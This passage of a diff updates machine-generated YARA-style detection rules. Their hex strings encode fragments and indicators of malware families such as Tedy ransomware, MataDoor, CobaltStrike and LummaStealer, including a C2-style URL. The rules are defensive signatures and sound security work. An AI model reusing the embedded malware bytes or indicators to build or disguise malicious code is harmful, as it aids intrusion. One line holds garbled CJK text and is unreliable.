8d 90 01 02 00 00 48 8b 95 90 01 02 00 00 48 01 ca 32 85 90 01 02 00 00 88 02 48 83 85 90 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=30 + +} +rule _InfrastructureShared_10423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 04 00 21 " strings : $a_4e_0 = {70 61 67 65 61 6e 74 2e 65 78 65 00 0a 00 24 80 01 50 61 67 65 61 6e 74 20 28 50 75 54 54 59 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 61 67 65 6e 74 29 0a 00 1e 80 01 50 61 67 65 61 6e 74 3a 20 4c 6f 61 } //20259 - $a_67_1 = {45 6e 63 72 79 70 74 65 64 20 4b 65 79 0a 00 17 80 01 70 61 67 65 61 6e 74 2d 6d 61 69 6e 77 69 6e 2d 6b 65 79 6c 69 73 74 0a 00 09 80 01 2d 2d 6b 65 79 6c 69 73 74 00 00 78 90 00 00 64 00 64 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 41 70 70 55 70 43 6c 65 61 6e 65 72 00 01 00 0c 80 01 41 70 70 55 } //26980 - $a_45_2 = {4e 45 52 01 00 21 00 5c 70 7a 5f 67 69 74 5c 62 69 6e 5c 70 75 62 6c 69 73 68 5c 73 65 74 75 70 49 6e 73 74 2e 70 64 62 01 00 14 00 25 73 22 20 2f 56 45 52 59 53 49 4c 45 4e 54 20 2f 53 50 2d 01 00 11 80 01 68 69 64 65 57 69 6e } //17232 - $a_44_3 = {73 6b 74 6f 70 00 00 02 00 78 90 00 00 90 01 90 01 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 65 6c 6f 6e 48 65 61 64 2e 41 21 64 68 61 00 64 00 20 01 61 00 62 00 63 00 64 00 65 00 66 00 67 00 68 00 6d 00 65 00 6c 00 6f 00 6e 00 78 00 79 00 7a 00 64 00 0f 01 47 65 74 49 6e 74 72 6f 64 75 63 74 69 6f 6e 64 00 0c 01 52 65 70 6f } //28516 + $a_67_1 = {45 6e 63 72 79 70 74 65 64 20 4b 65 79 0a 00 17 80 01 70 61 67 65 61 6e 74 2d 6d 61 69 6e 77 69 6e 2d 6b 65 79 6c 69 73 74 0a 00 09 80 01 2d 2d 6b 65 79 6c 69 73 74 00 00 78 90 00 00 3c 00 3c 00 03 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 54 65 64 79 2e 41 48 42 21 4d 54 42 00 0a 00 1e 01 0f 1f 40 00 66 0f 1f } //26980 + $a_b6_3 = {39 34 fe 88 01 48 8d 49 01 48 83 eb 01 75 0a } //0 condition: - ((#a_4e_0 & 1)*20259+(#a_67_1 & 1)*26980+(#a_45_2 & 1)*17232+(#a_44_3 & 1)*28516) >=40 + ((#a_4e_0 & 1)*20259+(#a_67_1 & 1)*26980+(#a_b6_3 & 1)*0) >=40 } -rule _InfrastructureShared_9799{ +rule _InfrastructureShared_10424{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,3c 00 3c 00 03 00 21 " + + strings : + $a_4c_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 54 65 64 79 2e 41 48 42 21 4d 54 42 00 0a 00 1e 01 0f 1f 40 00 66 0f 1f 84 00 00 00 00 00 0f b6 04 39 34 fe 88 01 48 8d 49 01 48 83 eb 01 75 0a 00 20 01 0f 1f 40 00 66 } //21539 + $a_00_1 = {00 00 00 00 0f b6 0c 38 48 8d 40 01 80 f1 fe 88 48 ff 48 83 eb 01 75 32 00 1e 03 48 8b 4c 24 50 48 8d 44 24 68 90 01 01 8b cf 48 89 44 24 20 4c 8b c6 48 8b d3 ff 15 90 00 00 00 78 90 00 00 64 00 64 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 41 70 70 55 70 43 6c 65 61 6e 65 72 00 01 00 0c 80 01 41 70 70 55 50 43 4c 45 41 4e 45 52 01 00 21 00 5c 70 7a 5f 67 69 74 5c } //7951 + $a_5c_2 = {75 62 6c 69 73 68 5c 73 65 74 75 70 49 6e 73 74 2e 70 64 62 01 00 14 00 25 73 22 20 2f 56 45 52 59 53 49 4c 45 4e 54 20 2f 53 50 2d 01 00 11 80 01 68 69 64 65 57 69 6e 64 6f 77 44 65 73 6b 74 6f 70 00 00 02 00 78 90 00 00 90 01 90 01 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 65 6c 6f 6e 48 65 61 64 } //26978 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*7951+(#a_5c_2 & 1)*26978) >=60 + +} +rule _InfrastructureShared_10425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 04 00 21 " @@ -105791,7 +112676,7 @@ rule _InfrastructureShared_9799{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*29811+(#a_00_3 & 1)*30720) >=100 } -rule _InfrastructureShared_9800{ +rule _InfrastructureShared_10426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -105799,24 +112684,35 @@ rule _InfrastructureShared_9800{ $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 65 6c 6f 6e 48 65 61 64 2e 41 21 64 68 61 00 64 00 20 01 61 00 62 00 63 00 64 00 65 00 66 00 67 00 68 00 6d 00 65 00 6c 00 6f 00 6e 00 78 00 79 00 7a 00 64 00 0f 01 47 65 74 49 6e } //16675 $a_64_1 = {63 74 69 6f 6e 64 00 0c 01 52 65 70 6f 72 74 41 6e 73 77 65 72 64 00 18 01 50 72 6f 63 65 73 73 43 6f 6d 6d 61 6e 64 45 78 65 63 75 74 65 4a 6f 62 00 00 78 90 00 00 90 01 90 01 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 74 61 44 6f 6f 72 2e 42 21 64 68 61 00 64 00 16 01 6e 65 74 5f 61 75 74 68 5f } //29300 $a_77_2 = {6e 74 5f 77 72 69 74 65 64 00 16 01 6e 65 74 5f 65 6e 63 5f 66 6c 75 73 68 5f 73 65 6e 64 5f 62 75 66 64 00 1b 01 6e 65 74 5f 65 6e 63 5f 70 72 6f 63 65 73 73 5f 70 61 63 6b 65 74 5f 6c 69 73 74 64 00 0c 01 6e 65 74 5f 65 6e 63 5f 72 65 63 76 00 00 78 91 00 00 01 00 01 00 01 00 21 23 } //29545 - $a_52_3 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 44 45 45 50 31 21 4d 54 42 00 01 00 5d 01 13 06 16 13 07 2b 4e 11 06 11 07 91 13 08 00 09 17 58 07 8e 69 5d 13 09 07 11 09 91 13 0a 08 09 08 6f 38 00 00 0a 5d 6f 39 00 00 0a 13 0b 11 } //21320 + $a_3a_3 = {72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 6f 63 6b 53 65 72 76 65 2e 41 21 64 68 61 00 01 00 62 01 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 68 68 58 49 66 53 75 4c 47 75 64 2d 68 39 74 73 33 32 66 51 2f 55 64 57 } //19521 condition: - ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*29300+(#a_77_2 & 1)*29545+(#a_52_3 & 1)*21320) >=400 + ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*29300+(#a_77_2 & 1)*29545+(#a_3a_3 & 1)*19521) >=400 } -rule _InfrastructureShared_9801{ +rule _InfrastructureShared_10427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 74 61 44 6f 6f 72 2e 42 21 64 68 61 00 64 00 16 01 6e 65 74 5f 61 75 74 68 5f 69 73 5f 77 61 6e 74 5f 77 72 69 74 65 64 00 16 01 6e 65 74 5f 65 6e 63 5f 66 6c 75 73 68 5f 73 } //16675 剅吺潲慪㩮楗㍮⼲慍慴潄牯䈮搡慨搀ᘀ渁瑥慟瑵彨獩睟湡彴牷瑩摥ᘀ渁瑥敟据晟畬桳獟 - $a_5f_1 = {75 66 64 00 1b 01 6e 65 74 5f 65 6e 63 5f 70 72 6f 63 65 73 73 5f 70 61 63 6b 65 74 5f 6c 69 73 74 64 00 0c 01 6e 65 74 5f 65 6e 63 5f 72 65 63 76 00 00 78 91 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 44 45 45 50 31 21 4d 54 42 } //28261 - $a_13_3 = {2b 4e 11 06 11 07 91 13 08 00 09 17 58 07 8e 69 5d 13 09 07 11 09 } //1555 + $a_5f_1 = {75 66 64 00 1b 01 6e 65 74 5f 65 6e 63 5f 70 72 6f 63 65 73 73 5f 70 61 63 6b 65 74 5f 6c 69 73 74 64 00 0c 01 6e 65 74 5f 65 6e 63 5f 72 65 63 76 00 00 78 91 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 6f 63 6b 53 65 72 76 65 2e 41 21 64 68 61 00 01 00 62 01 } //28261 + $a_62_2 = {69 6c 64 20 49 44 3a 20 22 68 68 58 49 66 53 75 4c 47 75 64 2d 68 39 74 73 33 32 66 51 2f 55 64 } //28487 ild ID: "hhXIfSuLGud-h9ts32fQ/Ud + $a_41_3 = {71 68 42 38 36 69 31 41 57 6e 35 70 59 2f 54 38 62 2d 55 49 75 62 68 71 4c 65 4b 6d 4c 75 51 38 37 57 2f 43 5f 65 4e 4a 77 4a 6d 6e 68 6a 31 34 49 57 42 6a 44 6a 30 22 00 00 78 91 00 00 01 00 01 00 01 00 21 23 48 53 54 } //26711 condition: - ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*28261+(#a_13_3 & 1)*1555) >=400 + ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*28261+(#a_62_2 & 1)*28487+(#a_41_3 & 1)*26711) >=400 } -rule _InfrastructureShared_9802{ +rule _InfrastructureShared_10428{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 6f 63 6b 53 65 72 76 65 2e 41 21 64 68 61 00 01 00 62 01 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 68 68 58 49 66 53 75 4c 47 75 64 2d 68 39 74 73 33 32 66 51 2f 55 64 57 68 49 41 61 71 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_10429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -105826,7 +112722,7 @@ rule _InfrastructureShared_9802{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9803{ +rule _InfrastructureShared_10430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -105836,7 +112732,7 @@ rule _InfrastructureShared_9803{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9804{ +rule _InfrastructureShared_10431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -105846,7 +112742,7 @@ rule _InfrastructureShared_9804{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9805{ +rule _InfrastructureShared_10432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -105856,7 +112752,7 @@ rule _InfrastructureShared_9805{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9806{ +rule _InfrastructureShared_10433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -105866,7 +112762,7 @@ rule _InfrastructureShared_9806{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9807{ +rule _InfrastructureShared_10434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -105876,7 +112772,7 @@ rule _InfrastructureShared_9807{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9808{ +rule _InfrastructureShared_10435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -105886,7 +112782,7 @@ rule _InfrastructureShared_9808{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9809{ +rule _InfrastructureShared_10436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -105896,7 +112792,7 @@ rule _InfrastructureShared_9809{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9810{ +rule _InfrastructureShared_10437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -105906,7 +112802,17 @@ rule _InfrastructureShared_9810{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_9811{ +rule _InfrastructureShared_10438{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 50 4b 55 21 4d 54 42 00 01 00 5d 03 0f b6 44 24 90 01 01 85 c0 75 90 01 01 eb 90 01 01 c7 04 24 90 01 04 eb 90 01 01 8b 04 24 ff c0 89 04 24 8b 44 24 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_10439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -105917,7 +112823,7 @@ rule _InfrastructureShared_9811{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*57) >=1 } -rule _InfrastructureShared_9812{ +rule _InfrastructureShared_10440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -105928,7 +112834,7 @@ rule _InfrastructureShared_9812{ ((#a_46_0 & 1)*16675+(#a_38_1 & 1)*11622) >=1 } -rule _InfrastructureShared_9813{ +rule _InfrastructureShared_10441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -105938,7 +112844,7 @@ rule _InfrastructureShared_9813{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9814{ +rule _InfrastructureShared_10442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -105950,7 +112856,7 @@ rule _InfrastructureShared_9814{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-16503+(#a_34_2 & 1)*-14589) >=1 } -rule _InfrastructureShared_9815{ +rule _InfrastructureShared_10443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -105963,7 +112869,7 @@ rule _InfrastructureShared_9815{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*27502+(#a_6c_2 & 1)*28018+(#a_00_3 & 1)*28792) >=1 } -rule _InfrastructureShared_9816{ +rule _InfrastructureShared_10444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -105977,7 +112883,7 @@ rule _InfrastructureShared_9816{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*-32757+(#a_70_2 & 1)*25955+(#a_11_4 & 1)*4353+(#a_13_5 & 1)*8257) >=1 } -rule _InfrastructureShared_9817{ +rule _InfrastructureShared_10445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -105987,7 +112893,7 @@ rule _InfrastructureShared_9817{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_9818{ +rule _InfrastructureShared_10446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -105997,7 +112903,7 @@ rule _InfrastructureShared_9818{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_9819{ +rule _InfrastructureShared_10447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -106008,7 +112914,7 @@ rule _InfrastructureShared_9819{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*18770) >=2 } -rule _InfrastructureShared_9820{ +rule _InfrastructureShared_10448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -106019,7 +112925,7 @@ rule _InfrastructureShared_9820{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11568) >=2 } -rule _InfrastructureShared_9821{ +rule _InfrastructureShared_10449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -106029,7 +112935,17 @@ rule _InfrastructureShared_9821{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_9822{ +rule _InfrastructureShared_10450{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 31 30 00 01 00 36 03 50 45 00 00 64 86 0c 90 01 11 0b 02 0e 00 00 90 01 02 00 00 0e 01 00 00 00 00 00 90 01 03 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 90 00 01 00 32 03 2e 6a } //18467 + condition: + ((#a_54_0 & 1)*18467) >=2 + +} +rule _InfrastructureShared_10451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -106039,7 +112955,7 @@ rule _InfrastructureShared_9822{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_9823{ +rule _InfrastructureShared_10452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -106050,7 +112966,7 @@ rule _InfrastructureShared_9823{ ((#a_54_0 & 1)*18467+(#a_18_1 & 1)*4352) >=2 } -rule _InfrastructureShared_9824{ +rule _InfrastructureShared_10453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -106061,7 +112977,7 @@ rule _InfrastructureShared_9824{ ((#a_54_0 & 1)*18467+(#a_05_1 & 1)*-25390) >=2 } -rule _InfrastructureShared_9825{ +rule _InfrastructureShared_10454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -106072,7 +112988,7 @@ rule _InfrastructureShared_9825{ ((#a_54_0 & 1)*18467+(#a_0e_1 & 1)*156) >=2 } -rule _InfrastructureShared_9826{ +rule _InfrastructureShared_10455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -106083,7 +112999,7 @@ rule _InfrastructureShared_9826{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*385) >=2 } -rule _InfrastructureShared_9827{ +rule _InfrastructureShared_10456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -106094,7 +113010,7 @@ rule _InfrastructureShared_9827{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*29806) >=2 } -rule _InfrastructureShared_9828{ +rule _InfrastructureShared_10457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -106105,7 +113021,7 @@ rule _InfrastructureShared_9828{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*115) >=2 } -rule _InfrastructureShared_9829{ +rule _InfrastructureShared_10458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -106116,7 +113032,7 @@ rule _InfrastructureShared_9829{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*-32765) >=2 } -rule _InfrastructureShared_9830{ +rule _InfrastructureShared_10459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -106126,32 +113042,45 @@ rule _InfrastructureShared_9830{ ((#a_70_0 & 1)*17699) >=2 } -rule _InfrastructureShared_9831{ +rule _InfrastructureShared_10460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_54_0 = {3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 53 65 64 61 6c 6c 2e 41 21 64 68 61 00 01 00 1e 01 3c 69 64 3e 00 00 00 00 48 54 54 50 2f 31 2e 30 20 32 30 30 00 00 00 00 72 65 6d 00 0d 00 01 00 28 01 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 74 68 } //18467 $a_65_1 = {76 65 72 2e 2e 2e 0a 00 00 00 00 63 6d 64 2e 65 78 65 00 01 00 14 01 41 72 67 75 6d 65 6e 74 73 00 00 00 57 49 4e 00 49 44 00 00 00 00 78 91 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 68 69 6e 70 6f 73 69 75 6d 2e 42 21 64 68 61 00 02 00 1b 03 68 74 74 70 90 02 01 3a 2f 2f 31 74 68 65 62 73 74 61 63 6b } //8293 - $a_79_2 = {90 00 02 00 14 01 4d 58 52 6f 5a 57 4a 7a 64 47 46 6a 61 7a 45 75 65 48 6c 36 02 00 13 01 46 30 61 47 56 69 63 33 52 68 59 32 73 78 4c 6e 68 35 65 02 00 13 01 78 64 47 68 6c 59 6e 4e 30 59 57 4e 72 4d 53 35 34 65 58 00 00 78 91 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 54 44 5f 57 6f 73 61 6d 65 72 65 65 6e 2e 41 00 01 00 18 01 c7 44 24 28 d4 57 c3 20 c7 } //11825 + $a_79_2 = {90 00 02 00 14 01 4d 58 52 6f 5a 57 4a 7a 64 47 46 6a 61 7a 45 75 65 48 6c 36 02 00 13 01 46 30 61 47 56 69 63 33 52 68 59 32 73 78 4c 6e 68 35 65 02 00 13 01 78 64 47 68 6c 59 6e 4e 30 59 57 4e 72 4d 53 35 34 65 58 00 00 78 91 00 00 02 00 02 00 04 00 21 23 41 4c 46 50 45 52 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 46 69 73 74 44 72 69 76 65 2e 43 21 64 68 } //11825 condition: ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*8293+(#a_79_2 & 1)*11825) >=2 } -rule _InfrastructureShared_9832{ +rule _InfrastructureShared_10461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 68 69 6e 70 6f 73 69 75 6d 2e 42 21 64 68 61 00 02 00 1b 03 68 74 74 70 90 02 01 3a 2f 2f 31 74 68 65 62 73 74 61 63 6b 31 2e 78 79 7a 90 00 02 00 14 01 4d 58 52 6f 5a 57 4a 7a 64 47 46 } //16675 - $a_45_1 = {65 48 6c 36 02 00 13 01 46 30 61 47 56 69 63 33 52 68 59 32 73 78 4c 6e 68 35 65 02 00 13 01 78 64 47 68 6c 59 6e 4e 30 59 57 4e 72 4d 53 35 34 65 58 00 00 78 91 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 54 44 5f 57 6f 73 61 6d 65 72 65 65 6e 2e 41 00 01 00 18 01 c7 44 24 28 d4 57 c3 20 c7 44 24 2c 74 ef 52 fb c7 44 24 30 99 2e 66 b3 01 00 11 03 6a 67 56 ff d7 } //24938 - $a_90_2 = {02 42 00 6a 6d 90 00 01 00 1b 01 33 c0 33 db 66 8b 04 0e 66 8b 1e 2b d8 83 c6 02 c1 e3 08 89 1a 83 c2 04 4f 75 e5 01 00 1e 01 bb 80 3f 00 00 2b d9 0f af 5c 24 2c 03 c3 8d 48 40 c1 f9 07 8d 84 01 00 20 00 00 c1 f8 0e 00 00 78 91 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f } //25706 - $a_73_3 = {73 2e 41 59 00 01 00 1a 01 3a 34 35 36 31 32 2f 73 74 61 74 2f 74 75 6b 2f 20 48 54 54 50 2f 31 2e 31 00 01 00 18 01 72 75 2d 52 55 2c 72 75 3b 71 3d 30 2e 39 2c 65 6e 3b 71 3d 30 2e 38 00 01 00 11 01 3a 34 35 36 31 32 2f 73 74 61 74 2f 74 75 6b 2f 00 01 00 18 01 47 45 54 20 2f 73 74 61 74 2f 74 75 6b 2f 20 48 54 54 50 2f 31 2e 31 } //26705 + $a_45_1 = {65 48 6c 36 02 00 13 01 46 30 61 47 56 69 63 33 52 68 59 32 73 78 4c 6e 68 35 65 02 00 13 01 78 64 47 68 6c 59 6e 4e 30 59 57 4e 72 4d 53 35 34 65 58 00 00 78 91 00 00 02 00 02 00 04 00 21 23 41 4c 46 50 45 52 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 46 69 73 74 44 72 69 76 65 2e 43 21 64 68 61 00 01 00 18 81 01 63 6c 69 65 6e 74 20 73 65 63 72 65 74 20 6d 75 73 } //24938 + $a_6e_2 = {75 74 01 00 10 81 01 47 65 74 4f 66 66 69 63 65 33 36 35 46 6f 72 6d 01 00 14 01 41 75 74 68 41 6e 64 44 6f 77 6e 6c 6f 61 64 45 6d 61 69 6c 01 00 15 01 73 52 65 76 69 63 65 43 75 73 74 6f 6d 65 72 46 6f 6c 64 65 72 00 00 78 91 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 54 44 5f 57 6f 73 61 6d 65 72 65 65 6e 2e } //8308 + $a_00_3 = {18 } //65 condition: - ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*24938+(#a_90_2 & 1)*25706+(#a_73_3 & 1)*26705) >=2 + ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*24938+(#a_6e_2 & 1)*8308+(#a_00_3 & 1)*65) >=2 } -rule _InfrastructureShared_9833{ +rule _InfrastructureShared_10462{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " + + strings : + $a_46_0 = {45 52 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 46 69 73 74 44 72 69 76 65 2e 43 21 64 68 61 00 01 00 18 81 01 63 6c 69 65 6e 74 20 73 65 63 72 65 74 20 6d 75 73 74 20 69 6e 70 75 74 01 00 10 81 01 47 65 74 4f 66 66 69 63 65 33 } //16675 + $a_6f_1 = {6d 01 00 14 01 41 75 74 68 41 6e 64 44 6f 77 6e 6c 6f 61 64 45 6d 61 69 6c 01 00 15 01 73 52 65 76 69 63 65 43 75 73 74 6f 6d 65 72 46 6f 6c 64 65 72 00 00 78 91 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 54 } //13622 + $a_6f_2 = {61 6d 65 72 65 65 6e 2e 41 00 01 00 18 01 c7 44 24 28 d4 57 c3 20 c7 44 24 2c 74 ef 52 fb c7 44 24 30 99 2e 66 b3 01 00 11 03 6a 67 56 ff d7 6a 64 68 90 01 02 42 00 6a 6d 90 00 01 00 1b 01 33 c0 33 db 66 8b 04 0e 66 8b 1e 2b d8 83 c6 02 c1 e3 08 89 1a 83 c2 04 } //24388 + $a_01_3 = {00 1e 01 bb 80 3f 00 00 2b d9 0f af 5c 24 2c 03 c3 8d 48 40 c1 f9 07 8d 84 01 00 20 00 00 c1 f8 0e 00 00 78 91 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 68 6f 73 74 73 2e 41 59 00 01 00 1a 01 3a 34 35 36 31 32 2f 73 74 61 74 2f 74 75 6b 2f 20 48 54 54 50 2f 31 2e 31 00 01 00 18 01 72 75 2d 52 55 2c 72 75 3b 71 3d 30 2e 39 2c 65 6e 3b 71 3d 30 2e 38 00 01 00 11 01 3a 34 35 36 31 32 2f 73 74 61 74 2f 74 75 6b 2f 00 01 00 18 01 47 45 54 20 2f 73 74 61 74 2f 74 75 6b 2f 20 48 54 54 50 2f 31 2e 31 00 00 00 78 91 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4c 6f 61 64 4d 6f 6e 65 79 21 62 69 74 00 01 00 2f 03 7d } //30031 + condition: + ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*13622+(#a_6f_2 & 1)*24388+(#a_01_3 & 1)*30031) >=2 + +} +rule _InfrastructureShared_10463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -106164,7 +113093,7 @@ rule 